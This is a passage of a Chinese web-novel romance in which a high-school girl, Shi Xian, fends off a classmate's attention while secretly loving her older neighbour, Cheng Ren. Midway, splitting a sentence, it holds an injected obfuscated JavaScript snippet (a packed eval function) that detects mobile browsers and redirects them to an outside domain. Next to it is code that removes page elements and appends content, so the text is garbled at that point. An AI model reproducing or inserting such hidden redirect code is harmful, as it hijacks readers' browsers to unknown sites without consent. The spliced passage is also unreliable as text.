由于出门较早,早高峰还没到,时献上车的时候还有空位,她走到靠窗的位置坐下。 刚落座,迎面走来一个年龄相仿的男生,留着平头,皮肤呈健康的小麦色,穿着灰色衬衫。时献莫名觉得这衬衫实在有些眼熟,忍不住多看了两眼,男生感受到了目光也看了过来,两人对视了几秒,时献觉得有些尴尬,连忙将目光转开,男生也愣了一下,朝后面走去。 距离学校几站的时候,手机叮的一声响起,时献将手机打开,江琪发来信息。 我妈不让我在外面吃,还让我给你一起带,一会儿给你送去。 时献进班级的时候看了眼手表,才七点一刻,时间还早,来的人不多,刚开学座位都是随机的,时献看了看空位情况,选了个第三排靠过道的位置。 时献擦完桌椅后班里进出的人开始多了起来,她将文具放到桌面的时候看到刚刚和自己同乘一辆车的男生也进来了,男生嘴里咬着吸管,看到时献的那一瞬间动作呆滞了一下,两人再次惊诧地对望。 这就真的很尴尬了。 男生似乎在选座位,两边都看了一下,最后朝时献这边走了过来,经过时献身边的时候窗外一阵风带了进来,吹起男生的衣角,时献看着那衣角扬起,脑中闪过一丝灵光。 是上次在文具店前差点撞到她们的那个人! 班里有人开始吃早餐,时献被香味馋到不行,看了眼手表,七点五十分,江琪还没来。时献胳膊撑在桌上,耷拉着脑袋绝望地看着门外,来往的人里没有她熟悉的身影,她看了半天只好抱着水杯继续喝水。 用最后一丝理智在内心问自己,是不是疯了,为什么要答应不守时本人江琪同学一起买早餐?她为什么不吃点东西再出门。 正想着,感觉到背后好像有人在拍她,时献生无可恋地回过头,男生坐在她后座,递给她一袋面包。 “同学,我买多了,你早饭吃了吗?要不要吃面包?” 时献饿到双眼发黑,看着递过来的面包,内心十分复杂,诧异、尴尬,看着黄澄澄的奶油面包,她不仅想接过来,还生出一种感激之情。 但很不巧的是,肚子不合时宜的叫了一声,声音不大,但离得近大概还是听得见的,至少时献自己听的非常清楚。 时献的脸腾地一下像被点燃了一般迅速红到耳根后,也顾不上礼貌,连忙窘迫地摇摇头拒绝了。 利落的转身,请问她可以把头塞到桌子里去吗? 请问她现在可以换班吗? 时献内心山崩地裂,咆哮万分。 她绝对!绝对要和江琪绝交!!! 秦子铭 江琪第一节课下课后带着三明治来实验班负荆请罪,态度非常良好。时献饿到懒得说她,靠在走廊上吃着迟来的早餐。 江琪面朝时献班级,后背靠着走廊的墙壁,一双眼睛透过玻璃窗四处扫射,一会儿啧啧感叹,一会儿轻声叹气,心理活动十分丰富。 “你看什么呢?”时献喝了口酸奶。 “你们班颜值挺高啊我发现,好多帅气的小哥哥,这几分钟功夫过去好几个了。” 时献无奈地摇头,继续吃着三明治。 “哎这个男生,怎么感觉有点眼熟啊。” 时献咽下最后一口,闻声回头看过去。 是早上那个男生,也是那天文具店门前差点撞到她们的那个人。 “是不是在哪儿见过啊。” 时献看她一脸探究,靠过去轻声跟她说了。 “什么?是他?”江琪听完双眼瞪得老大,一副马上就要冲上去和人打架的架势。 时献连忙按住她的手臂,出声宽慰:“你小点声,刚跟你说了别闹,那天的事都过去好些天了,你现在纠结这个也没什么意思。” 江琪气愤难消,又不好发作,只能憋屈地噘着嘴,哼了一声,“算了,懒得计较,真是便宜他了,献献,你以后离他远点。” 正说着,男生从座位上起身走了出来,江琪从窗外看到他向这边走来忍不住又瞪圆了眼,直到他站到两人面前,才反应过来的江琪和时献神色变得诧异。 “你们好,我是秦子铭,认识一下,我想,我们可能之前见过。”男生身量较高,身躯应该是经常锻炼比同龄清瘦的男生健硕不少,因为面色温和所以站在面前并不显压迫。五官虽显少年青涩气质但俊朗初现,又端着一副灿烂的笑容,平添几分好感。 他见两人没说话,以为是没理解,继续解释道:“我的意思是,之前在城东的步行街,我那天骑车太快了,没来得及减速,差点撞到你们,不好意思啊。” 本来已经打算过了这事儿的两人,现在又被对方重新提起,还郑重的在这道歉,情绪卡在一个略显尴尬的点,上不去也下不来,场面一时有些停滞。 时献打破了僵持的氛围,微微抿嘴笑了一下,“没事,我们也没被撞到,就是吓到了,你以后小心骑车就好了。” 说完又拉着江琪互相介绍了一下,江琪有些变扭,敷衍地说了几句,上课铃就响了。 时献如释重负,这尴尬的交流终于结束了。 江琪也获救般快速溜走,时献朝秦子铭微点了点头,快步进了教室。 秦子铭倒不着急,看着时献挺得笔直的背影从眼前消失,才慢吞吞地进了门。 高一的课业还不算太紧张,开学一个月,各科老师都熟悉了,新课内容也有了大致了解,时献对比初中的差异调整了学习状态,还算能应付过来。 时献观察过周围人的学习状态,发现大家有个共通点,上课时拿出十分的注意力听课,下课该休息休息,并不一味地下苦功夫,补觉的补觉,玩闹的玩闹,放了学就直接回家,运动课上也闹的比谁都起劲,传说中的实验班并没有想象中那般地狱模式。 十一假期前学校做了个单元小测,时献看着自己六科分数没有偏科迹象,除了全班第一的语文外,其他科都比较平均,心情大好。 十一前一天学校打算提前放假,下午上完两节课就直接大扫除。班长不在,时献是团支书,被班主任要求代理班长负责监督,她将几个卫生区域划分好,各组开始动作,男生大多负责拖地洗拖把提水桶这类重活,女生擦玻璃和扫地为主,个别个子高的男生被时献叫去挑教室死角的蜘蛛网。 众人一起忙活,十六七岁的少年聚在一起,一边做事一边打闹。擦窗户的怪扫地的人用力过大灰尘太重,拖地的人怪擦窗户的人抹布没拧干的脏水到处飞溅。一时好不热闹,从走廊望过去连排的教室都是一样的吵闹和嬉笑,时献提了一小桶清水进教室的时候差点被迎面的人撞到,她笑着侧身避开,走到讲台边,重新投了干净的抹布沾水去擦洗黑板。 打闹中各项卫生渐渐完成,时献吩咐几个男生班干带走了垃圾,自己准备留下关门窗收尾。讲台上抹布随手堆了不少,洗的并不干净,她全部拿走,准备重新洗了晾干方便下次备用。 沿路经过的各个班级也基本完事,先前的吵闹声消失。时献细细洗了会儿抹布,等她从洗手池收拾完回来后,人已经全走了。 讲台上的水渍没有擦干净,拖把和扫把也摆的横七竖八,时献无奈地叹了口气,弯腰一一归置好。 “你怎么还没走?” 听到有声音,时献回过身,秦子铭正站在门口,手里提着一个空着的垃圾桶,正一脸惊讶地看着她。 “我去洗了下抹布,差不多收拾完了,准备走。” 秦子铭走了过来,将洗过的垃圾桶放回清洁区。 “正好,我和你一起走吧,咱们应该是同路。” 时献收拾书包的手顿了一下,小声的发出了:“嗯?”的声音。 秦子铭看她略显迟疑,跟着解释:“其实开学第一天我在车上就见过你了,记得吗?你也是坐51路,江南里上的车,对吧?” 话已至此,只好坦白。 “嗯,我记得。” 秦子铭比较干脆,扯了书包带直接背上,也不用多做整理。时献想着十一的复习,收拾完各科作业,又挑了几本练习册和讲义,秦子铭也不着急,一边等着一边帮忙关窗。 崇安的四季分明,九月底秋天的气息已经非常浓厚了,到了下午稍显微凉,就算是晴天太阳也不浓烈,天空白云层叠,空气里带着草木清香,十分舒适。 两人上了公交车,车上不算拥挤,尚有空位,时献走到后座,靠窗位已经被占,她坐在靠过道的位置。秦子铭随后,走到和她同排的过道座位,两人中间隔着距离,却又有种坐在一起的错觉,时献莫名觉得有些变扭。 她和秦子铭并不相熟,这一个月以来一直是普通前后桌的关系,平时见面也只是礼貌性地打招呼,偶尔说话也基本是秦子铭主动,比如借支笔,问个题,做卫生的时候询问是否需要帮忙,频率并不很高,但以时献有些慢热的性格来说,也算是常来常往了。但毕竟相识太短,不算熟友,她不太会主动挑起话题,只好扭头去看窗外。 “你平时出门是不是都很早?”秦子铭偏头问她。 时献想了想出门的时间,“嗯,我怕挤,早上51路人很多,所以比较早出发,也不容易堵车。” 秦子铭突然笑了,“难怪,我说怎么第一天以后就再也没遇到你,原来是我出门太晚了。” “没迟到就好。” 秦子铭伸出食指摸了摸鼻子,“看来我也要早点出门,每次七点多上车都是一路挤到站的,早高峰太可怕了,到学校基本踩点。” 这话也没法接,时献只好点点头表示同意。 两人同站下车,公交站正好在江南里的正门边,时献直接进小区即可,她和秦子铭道了再见,转身欲走。 秦子铭弯了眉眼冲着她笑了,笑得十分惹眼。 时献望过去,只见他一身运动装干净利落、身姿矫健,看起来荷尔蒙十足,时献这会儿突然想起来他在班里似乎人气颇高。 秦子铭冲她摆了摆手,他声音清朗,说:“一周后见。” 心仪者 程任公司的团队在十一前刚完成一个项目,尾款到账后,就直接提前给大家放了假,他留在京都无事,直接回了崇安。 时献端着果盘送去隔壁的时候,程任刚进家门。 时献睁圆了双眼,惊喜的不行,笑着跑过去说:“程任哥哥你回来啦,我还以为十一你不回了。” 程任看着她一张脸粉扑扑地,仿佛一颗水润的水蜜桃,双手抱着果盘,看起来越发可爱,心情莫名好起来,笑着回:“你多念我几遍,我就回来啦。”说完伸手摸了摸她的头顶,小姑娘好像长高了? 时献有些害羞,又怕被看出囧态,左手从果盘边缘移上来,拨了拨盘里的葡萄,心虚地转移话题,“刚摘的葡萄,很新鲜,要吃点吗?洗干净了。” 程任见她献宝一样捧着果盘,笑着伸手摘了一颗就往嘴里丢,入口甘甜,饱满多汁,清甜的味道入了肺腑。 “好甜。” 任清芸从旁边走过,伸手假装打他,“洗了手再吃,外面跑了一天回来不知道多脏,抓了东西就往嘴里送。” 程任冲时献耸耸眉,怕被继续说,连忙大步走去洗手台。 时献将果盘放在桌上,也跟了过去。 她走到门框边,一只手扒住边缘。程任抹了消毒液正在搓手,见她来了,抬头从面前的镜子里看了眼时献,一边洗一边问:“在学校还适应吗?和同学相处的怎么样?” “还好,大家都挺好相处的,老师教的课也没有很难。” “昨天你给我发信息,月考考的不错?” 时献将重心放在右脚上,左腿略微弯曲,左脚脚尖点地,来回摩擦了两下,声音略显轻快,“嗯,班级第十名,挺平均的,没偏科呢。” 程任一边擦手一边看她,小姑娘语气里透着小小的得意。他是知道时献从小数学差的,也一直担心她进了高中因为偏科而感到吃力,现在看她信心满满的样子,终于放下心来。 “也不是不偏科吧,好像语文就考的特别好啊?” 时献有些不好意思的红了脸,含糊地点点头不好表现的太骄傲。 程任笑着将她推出去,从带回来的袋子里拿出一包彩虹糖递给她。 “那我这糖可算买多余了,还吃吗?” 时献开心地伸手去够,“要的要的,你不给我买,妈妈都不让我吃,我都多大了,早就不长蛀牙了。” 时献拆了包装,一边挑口味一边问:“你想要哪个味道?” “芒果味的好嘛?” 程任不作思考,直接回:“好。” 任清芸笑着打趣,“都多大了还吃糖。” 时献仰头问:“清姨也吃一颗吗?” 任清芸摆手,“你们小孩子吃吧,我就不吃了。” 程任突然笑出来,反问道:“妈,我今年都24了,哪里还是小孩子。” 任清芸无奈地瞥了一眼,没好气地说:“你也知道自己不小了,怎么不知道给我带个女朋友回来,你看看你堂哥都二胎了,你呢?连个人影都没看到。” 时献心里一紧,手里无意识地搓着糖纸,小心地去看程任的反应。 程任脸上一怔,随后恢复正常,满不在意地回:“还早呢,这不事业刚起步,没时间。” 任清芸不满道:“就知道说没时间。” “好啦,真有了马上带回来给你看,我有分寸。” 时献捏紧了糖纸,她刚刚,好像从程任脸上看到了一瞬间的犹豫,那丝犹豫代表了什么?他有女朋友了但是没说?还是他有喜欢的人了? “献献,想什么呢?” 程任出声提醒,时献反应过来,收回暴露在脸上的愁绪。 “糖纸都快被你捏坏了,想什么这么出神?” 时献摇摇头,略想了下,闷声问:“没……就是在想,程任哥哥会喜欢什么样的女孩子” 任清芸看了眼程任,对着时献说:“你程任哥哥啊,估计自己还没想明白呢。” 程任无奈道:“妈,你跟献献说这个干什么。” “这有什么,我说你啊,二十几岁的人怎么思想比我还古板,献献都十六了,这放在过去及笄礼都过了,这有什么不能说的,再说了,我们献献长的这么好看,在学校肯定有男孩子喜欢。” 说完偏过头去看时献。 “对吧献献?跟清姨说说,学校里是不是有男孩子跟你表白?” 程任脸上带着一丝探究看了过来。 这……怎么就聊到她头上来了? 不知道为什么,时献突然想到秦子铭,想到他在公交车上有意无意的搭话,他屡次主动的示好,还有那天道别时说的再见,她好像能感受到一点不一样的情绪,但又没有实质性的证据。现在突然被问,其实也并没有什么可说的,但又莫名迟疑,没办法干脆的否定。 见她表情微滞,任清芸就知道自己说对了,笑着说:“看吧,我就知道献献招人喜欢,也就你老把人家当小孩。” 时献手心出了汗,忐忑地看向程任,被他的神情吓了一跳,有些严肃,有些诧异,好像她做了不对的事,时献张口想辩,只见程任面色缓和下来,语气依旧轻柔。 “是大姑娘了,学校里有男孩子喜欢也是好事,献献很优秀,不过感情可以不着急谈,先当朋友相处就好了,毕竟高中学业还是比较紧张,会分心,等毕业了也来得及。” 时献乖巧地答应。 任清芸看了眼程任,背对着坐回沙发,忍不住吐槽了一句。 真是跟你爸一样古板。 感情问题的探讨被张玉淑叫她回家吃晚饭给打断,时献得了救星一般连忙逃出程家,任清芸只当她是害羞,看着时献小跑的背影跟程任提了一句就进厨房做饭去了。 程任站在门边,看着院门的方向,没有察觉到自己微微蹙了眉头。 而院门另一边的时献,心不在焉的吃完饭就回了房间,她关上房门,走到阳台侧边,看向程任房间的方向。 那里亮着灯,他在家。 但是他不会在家待太久,他十一后就会回京都。 他已经毕业了,还有自己的公司自己的事业。 他越来越优秀,会认识很多人,也会认识很多成熟的、好看的同龄女孩。 他今天迟疑了,是因为什么呢? 也许是有人在追求他,也许是有了喜欢的人,也许…… 也许他已经有了女朋友? 时献心乱如麻,不知道自己是不是过度紧张,她甚至想跨过中间的间隔,跑去他房间问一问,你是不是,有了什么惦记的人。 正想着,对面一直关闭的玻璃门被拉开,时献猝不及防地对上程任探身出来的目光,脸上的情绪紧急往回收了一半,又刹在半路中,有些尴尬。 程任也有些意外,慢慢走到栏杆边,微笑着问:“怎么老出神,我妈晚上问你的事不好意思了?是不是在学校真的有男孩子跟你表白不知道怎么处理啊?” 时献双手在栏杆内侧攥紧,连忙否认:“没有,没有的事,才开学呢,人都没认全,表什么白啊。” 见他似乎不信,又立刻强调,“真的!我没骗你!” 程任被她一脸认真的样子笑到,“好了好了,我信我信。” 一时沉默,两人突然都没有话。 时献将胳膊撑在栏杆上,想了想,忍不住问出口:“程任哥哥,你……是有喜欢的人了吗?” 程任一愣,似乎没想到她会问这个,微顿了几秒,才回道:“怎么突然这么问。” 时献眼神突然有些闪躲,手掌扣住栏杆,将身体来回拉伸,“也没有,就……好奇,之前听郑院哥说你以前在学校可受欢迎了,就……随便问问嘛。” 程任微眯了眼睛,时献看不出他是什么情绪,一颗心加速跳动,不安地等着答案。 程任垂眸,向下看了会儿又重新抬起,说:“现在没有,以后遇到可能就知道了,不着急。” 时献接收到和自己希望一致的信息,心里的焦躁和紧张去了七八分,窃喜感一点点冒了出来。 程任看着她,半响,说:“好不容易放假,今天早点休息吧。” 时献嗯了一声,刚准备转身,程任又说:“这次考的好,奖励你一下,明天带你出去玩。” 时献眼中闪过一丝光,难以抑制地露出喜悦的神色,大声回应:“好!” 偶遇 时献出门的时候张玉淑正在和时中伟通电话,得知时中伟忙于新工程这个十一长假不能回来,张玉淑不高兴地埋怨了几句。时献想了想,时中伟确实有段时间没回家了,这次十一也不能回,时间确实有点长,她怕张玉淑不高兴,连忙插进去对着电话和时中伟说了几句俏皮话,时中伟在电话那头被时献哄的哈哈大笑。时献见自己目标达成,已经中和了两人间有些紧张的通话气氛,连忙退了下来。 她朝张玉淑摆手示意自己出门,张玉淑脸色微霁,放轻了语气朝她点点头。 刚出院门,就看到程任已经在门口等着,时献心下好奇,连声追问到底去哪里,程任笑着打了个哑谜,直接开车出发去目的地。 崇安算是个颇有名的旅游城市,到了十一黄金周,几个知名景点都是人山人海。 等程任将车停进停车位,时献才知道他们这是……在欢乐谷? “上次没玩好,今天一次玩到开心。”程任冲她眨眨眼,伸手解了安全带。 十一的崇欢乐谷自然还是很多人,程任取了票带着时献去项目区排队,时献觉得有些奇怪,队形分为两队,一队人形排成蜿蜒曲折之势,而他们所在的这对,人就相对少很多。 时献拽了下程任的衣角,问道:“为什么我们不用排那边?没有弄错吗?” 程任笑着解释:“别担心,我买了快速通行票,排这边不会错的。” 时献惊讶地看着程任,快速通行票?那可要比正常票价高出一倍,实在太贵了。 程任看她一脸发愁的模样,知道她在想什么,伸手摸了摸她的后脑勺,“好啦,别想太多,玩的开心最重要,要是真排那边的队,我们到了晚上也玩不了几个项目,难道再来一次吗?” 时献想了想,似乎很有道理。 安检临近,程任将票递上,两人一起进去。 两人上午借着快速通行玩了几个项目,临近中午,程任怕她太累,先带去餐饮区吃饭。 “想吃什么?”程任指了指菜单,问道。 “嗯……芝士焗面,沙拉,水蜜桃汁。” 程任一边结账一边指了不远处的空位,“先去占座。” 时献“哦”了一声,连忙跑过去,刚拉开座椅,面前就出现一双手也同时拉开了对面的座椅,时献抬头一看,愣住了。 “小献献啊,这可太巧了你怎么在这儿啊?和同学玩儿呢?” “郑院哥好,我和程任哥哥一起来的,他去点餐了。”说完看了眼他身边的女孩子,长相十分斯文秀气,女孩子似乎对她也有些好奇,正看着她。 “我说呢,难怪早上我给他发信息没回我,原来你们都玩儿起来了,成,那咱们直接拼桌,你两负责坐着等吃的,我去找阿任给你们多点儿吃的。” 时献不擅与人搭话,略微点头示意了一下就直接坐下。 对面的女孩子也坐下,笑着打招呼,“时献是吗?你好啊,我是郑秀荔,郑院是我堂哥。” 时献一听,心里涌出的八卦小火苗瞬间被扑灭了,只好微笑回道:“你好,我是时献。” 郑秀荔看着斯文却并不寡言,点餐的功夫已经主动挑起话题和时献聊了起来,时献才知道原来她也是一中的学生,大她五届,现在在京大读法律,目前大三,打算本校考研。 郑秀荔言谈中语气轻柔,充满自信却不强势,是那种饱读诗书后由内而外散发出的淡然气质。 好优秀啊,时献想着。 两人正聊着,郑院和程任就端着餐盘过来了,程任坐到时献旁边,将水蜜桃汁放到她面前,又从餐盘里拿出其他小食。 将沙拉往时献这边靠了靠,说:“先吃点别的,焗面要等会儿才好。” 时献并不太饿,听完低头喝了口果汁,甜甜的,不腻,她习惯性地勾了下嘴角,还不错。 郑院一边递橙汁给郑秀荔一边对时献说:“你们小姑娘怎么连口味都一样,秀荔也点了水蜜桃,不过卖完了,就剩你这一杯,阿任护的不行,生怕我跟他抢,开玩笑,我是那种人吗?” 程任瞥了他一眼,“你是。” 时献正咬着的吸管突然松开,对郑秀荔说:“不好意思啊秀荔姐,我已经喝了。” 郑秀荔浅笑道:“没事的,我也是随口说,你自己喝就好不用顾我。” 说完侧目看了眼程任,脸上还是挂着方才的浅笑,程任正接过刚送来的焗面,刚好撞上迎来的目光,也给了个礼貌性的回应。 郑秀荔的脸颊微微泛红,低头没再说话。 时献敏锐地察觉出气氛有些微妙。 四个人都相识,已经遇到,饭后自然一起玩。时献上午已经玩了自己最喜欢的几个项目,下午的安排她并不在意。程任主要为了陪时献,对玩乐项目也不熟悉,郑院见三人都没主见,指了指旁边的过山车,兴奋地提议:“不如我们去玩这个吧。” 郑秀荔眉头微蹙,“刚吃完饭,玩这个会不会太刺激了。” 郑院摆手道:“刺激什么啊,中午就吃那么点儿,你看这会儿排队人没那么多,下午就不好说,咱们赶紧去吧。” 说完看向时献,她点头表示可以,程任也不置可否。 四人就这么走向进站处。 程任扣好安全带,又替时献检查了一遍,“确定不怕?害怕我们就不玩。” 时献摇头,“玩过好几次了,就是有点失重,害怕倒还好。” 说完突然有点恶作剧的小心思,靠近程任,嘴角噙着一点笑,似乎准备取笑,“程任哥哥会怕吗?” 程任无奈地伸出食指,弯曲,用指骨敲了一下她的额头。 “淘气。” 车轨缓缓启动,渐渐出了平台,缓慢爬升。时献后背靠在座位上,偏头看了眼脚下风景,下面排队的人已经多了起来,人形也渐渐变小。 爬升结束,在顶峰处停留了几秒,迅速向下冲去。 “啊………………” 尖叫声此起彼伏,时献感受到失重的不适感,揉了揉自己的胸口。 程任靠过来,在她耳边大声问:“怎么了?是不是不舒服?” 风将程任额前的一小绺头发吹起,双眼因为迎面的疾风微微眯起,他靠过来身上好闻的柑橘味更加明显,时献下意识咬了下嘴唇,眯着眼摇头。 列车在半程中做了短暂的减速,为下一次俯冲做准备。 时献看着前后惊魂未定的众人,突然也想加入。 她能不能,混在嘈杂的呼喊声中,偷偷喊出来? 好像不行,程任就坐在身边,她如果喊出来太明显了,肯定能听见。 犹豫中,列车头已行至高峰,时献肺腑吸了一大口,跟着众人一起屏气。 3.2.1 “啊……” 时献只喊了这么一声,尾音带的很长,直至一口气用尽。多余的话没有说,她一边大喊一边在心里默念。 我喜欢你,程任。 我喜欢你。 程任有些诧异地偏头看她,想了下只当她是从众好玩,没再问什么。 郑院在身后叫的大声,嚎完了全程,下车的时候直呼爽快,但郑秀荔情况就没那么好了。 她脸色发白,嘴唇都失了血色,上车前自信淡定的神色此刻已消失不见,头发被吹得有点凌乱,伸手扶着栏杆,双腿有些颤抖。 时献走过去,试着宽慰:“秀荔姐,你还好吗?吓到了?” 郑秀荔摇摇头,努力稳定情绪回道:“没……没事,我缓,缓会儿就好了。” 程任见状让郑院扶她去一边休息,领着时献去买水。 时献选了两瓶果汁,程任拿了几瓶矿泉水,结了帐往回走。 时献的目光突然被不远处的人吸引住了,程任顺着目光去看。 “那个人是不是陆添哥?”时献问道。 平时寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353436|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言冷淡的陆添此时正拦着一个男生,眼里满是戏谑,似乎在为难,又似乎觉得很有趣,勾着嘴角笑着,看起来心情很好,但这笑里又带着令人费解的痞气,和他平常的样子相去甚远。 而他对面的男生,穿着灰色T恤和衬衫外套,看起来比陆添矮了一个头,身形清瘦,肌肤白皙,露出的耳朵不知道是被太阳晒的还是因为紧张而红成一片,一直红到脖颈,看起来楚楚可怜。 两人不知说了些什么,男生抬腿欲走,陆添伸手扣住男生手腕,男生伸手想甩掉,但因为力气不够没有成功,两相拉扯中偏了身体正对向时献的方向。 等下,这个人,好眼熟。 “是夏藤?”时献诧异地看向程任。 “他们认识吗?程任哥哥,夏藤怎么会得罪陆添哥。”时献有些紧张,她和夏藤虽然不熟,但印象中夏藤一直是个安分内向的男孩子,和她少有的几次沟通也很自控,这样的男生不太可能会主动得罪别人,但看陆添的反应明显有些生气,两人是不是有什么误会? 程任脸色一时有些尴尬,看了眼陆添的方向,回头对着时献说:“他们从小就认识,你别担心,陆添不会欺负他的。” 时献想了想陆添的家庭背景,还是有些担心,“我们要不去问问吧,程任哥哥,你和陆添哥是好朋友,你说的话他应该能听进去,我怕他们打起来。” 程任叹了口气,对时献说:“你在这边等一下,我过去看看。” 男生都比较好面子,尤其时献前不久才拒绝过夏藤,她本来想跟过去,想了想还是留在原地。 程任走过去,和陆添说了几句话,夏藤逮到空隙,顺手挣脱掉陆添的钳制连忙跑走,陆添想追被程任拦了下来,又不知道说了什么,没有再追上去,懊恼地抬脚踢了一下。 时献放下心来,庆幸自己让程任过去了。 程任递给陆添一瓶水,两人并肩走过来。陆添看到时献没有像往常一样打招呼,反而神色微愠,透着一股敌意。 等等,敌意??? 时献怀疑自己看错了。 程任抬了胳膊捅了一下陆添,随后神色恢复正常,仿佛方才的敌意只是时献的错觉。 绯闻 十一假期转眼结束,程任在假期结束的隔天起早回了京都。 时献起床的时候刚好在阳台上看到程任出门。 下意识想要出声呼喊,反应过来时间还早,立刻噤声。 51路缓缓行驶至面前,车上一如既往的没有满座,时献扯了下书包,准备上车。 “时献。”突然有人叫她。 时献回头,秦子铭迎面正小跑过来。 “早上好啊,今天终于遇到你了。”秦子铭笑着说。 时献愣了下,迟疑地回道:“早上好。” 什么叫终于遇到你了? 两人前后上了公车,依旧是后座有空位,时献向后走去,左边的座位区有一排两人座是空的,时献偏好靠窗,略想了下,坐到了外面。 秦子铭见状脚步略顿,轻笑了一下,转向右边挪了脚步,坐在和时献同排的右边靠外的座位,两人之间依然隔着过道。 时献习惯性看向窗外,下意识抬起胳膊想撑在窗边,刚抬手就发现自己并不靠窗,手臂无所依托,为了避免动作看起来尴尬她动了手指,越过下巴伸向耳后,假装捋了下头发才放了下来。 秦子铭将一切尽收眼底,突然起了点捉弄的心思。 “你坐车好像很喜欢看着窗外?”秦子铭眼中带着促狭的笑意。 “呃,还好,随便看看。” 时献说完后再看过去的时候,他已经面色如常,只淡淡笑着说:“哦,是吗。” 一路无话到站。 两人同班,时献也不好撇开秦子铭直接走,下了车只好一起走。时献人缘依旧一般,秦子铭人缘却好到不像才入学一个多月,走向教学楼短短几分钟的路程,已经遇到好几个路过的同学主动打招呼了,连带着时献都被人多关注了好几眼,时献如芒在背。 让时献没想到的是,接下来的日子里,一周大概有两到三次的概率能在公车站遇到秦子铭。 周遭的气氛渐渐就有些变了。 先是上课提问时献的时候会被人小声起哄,再是两人同行的时候被人指点,次数多了连时献也没办法当看不见,只好尽量减少沟通的可能。 这天放学,江琪来教室外等时献一起去书店买参考资料。 两人有说有笑的往外走,路过操场的时候,一只篮球滚了过来,轻轻撞了一下时献的脚背,停了下来。 “帮忙踢过来吧。”秦子铭双手叉腰,额前的头发被汗湿搭在眉边,脸上因为运动泛红,喘气却不急促,一边说一边看着时献。 时献轻轻踢了过去,没打算多做停留。 秦子铭勾起球伸手抱住,走过来说:“你们这是去哪啊?出去玩?” “去买参考书。” “地理课上说的那本汇编册?” 时献点头。 秦子铭向右看了一眼,说:“刚好,我也没买,你们去哪家店,一起吧。” 没等时献说话,他就将球投向不远处的同伴,伸手摆了摆,捡起草坪上的外套和书包就跟着时献一起朝外走。 一套动作实在过于自然,时献有种话被堵住的感觉。 江琪挽着时献的胳膊扯了一下,眼神探问,大意是:现在是什么情况? 时献小幅度摇头,回复:没什么情况,别瞎想。 江琪想到自己无意间听到的八卦传闻,略微探出头看了眼秦子铭的方向,不死心又揪了揪她的外套:你别瞒着我,他分明有问题。 时献头大,不再做回应。 三人不尴不尬地同行,江琪一路话都少了,时献依然面不改色的向前走,只有秦子铭,双手插兜,和经过认识的同学一一打招呼,脚步轻快,一副心情很好的样子。 时献进了书店就忘了路上的尴尬,拿了地理汇编册后直接钻进了文学区。 书店的排版一目了然,每个专区都按一定的规律摆放,十分容易找到需要的书。时献是常客,走到新书上榜区,想看看最近有没有上新。 看了一圈,并没有特别感兴趣的,时献改看向古诗词区,挑了本诗词翻了起来。 翻了几页,忍不住内心赞赏,纸质好,印刷好,排版舒适,收录齐全,收了。 秦子铭刚挑完教辅,偏头见她看的认真,看过去,时献目光锁定停留许久的那栏赫然写着:欲寄彩笺兼尺素,山长水阔知何处。 秦子铭眼神渐渐晦暗,眉目紧锁,忍不住问:“你有喜欢的人了?” 心思被猜中,时献捏着纸张的手指突然用力,有些发白。 她看向秦子铭,只见他脸上毫无笑意,全然没有平时阳光灿烂的样子,面色颇为难看。 时献喉咙发紧,心虚了。 秦子铭依旧不避讳目光,直视时献,似乎想坚持到底非要求个答案,时献脑中浮现程任的脸,笑的,沉思的,苦恼的,说教的,温柔的,关心的,着急的……千百种样子,赶也赶不走,抹也抹不掉。 她不想聊这个,更不愿意和别人提程任。 合上书,没有再理会秦子铭,侧身走过,去收银台结账。 三人各怀心思地从书店出来,江琪直接回了家,只剩秦子铭和时献并排等车。 周五放学较平时早些,他们又在书店消磨了时间,这会儿的51路车上空荡荡,只有零星的几个人。 时献走到公车中间单人座的位置,靠窗坐下。 秦子铭依旧走向后排,坐在了时献身后的位置。 秦子铭拉开书包拉链,看到书包里躺着的地理汇编册,自嘲地笑了一下,将刚才买的同款汇编册塞了进去,重新拉好拉链。 51路一路畅通无阻,平稳地行驶在被梧桐叶覆盖着的深秋的街道上,宽大的梧桐叶微卷发黄,厚厚地覆在地上,车流碾过发出清脆的声响。 时献将手肘撑在窗边,出神地看向窗外。 傍晚的余晖将要落下,晚霞染红了天边的云彩,光线透过玻璃窗打在时献的头顶,她的发色柔软顺滑,头顶的发圈仿佛染上了一层栗色光晕。 窗外的梧桐叶还在落。 崇安的深秋风景很好,秦子铭试图转移注意力也朝窗外看,半晌后,将眼神从窗外收回,定在了时献身后,再没挪开。 女朋友 书店那件事之后,秦子铭对时献的态度发生了变化,两人几乎回到不认识的状态,时献再也没在车站遇到过秦子铭。 班上开始传出风言风语,有说时献过于骄傲的,有说秦子铭深受情伤打算移情别恋的。但对于这些留言两人的态度却出奇的一致,就是不予理会,当做没听到。 秦子铭也在沉闷了半个月后逐渐恢复到以前的开朗状态,他的人缘一如既往的好,他依然很受女生喜欢。 只有时献,没有更加冷淡,也没有更加热情,好像没有什么事能影响到她。 期末考转眼来临,时献考完最后一科走出考场,外面一片白雪皑皑,雪地靴踩在地上发出“吱嘎”的声响,她笑着来回踩了几个脚印。 不远处有几个人在花坛边堆雪人,还有人在打雪仗,时献经过的时候不小心被砸个正着,拳头大小的雪球被捏的硬邦邦,砸的她眼冒金星,雪花溅开撒了她一脖颈,时献冷地一哆嗦。 一旁丢雪球的男生连忙跑来道歉,时献揉着额头,无奈地说没关系。 “你怎么了?有没有伤到?”秦子铭不知道什么时候出现,伸手拉着她的胳膊要去看额头。 时献覆在额头上的手被拉开,手臂怪异地僵持在半空,她一脸错愕地看着秦子铭,回道:“没事了,就是雪球砸了一下。”说完微微挣开手臂,秦子铭一时有些尴尬,放下拉扯的动作。 秦子铭假装自然地问:“你回家吗?” 时献抖了抖身上的雪,说:“嗯,回去。” “那走吧。” 时隔两个月后,两人再次同行,气氛有些微妙。 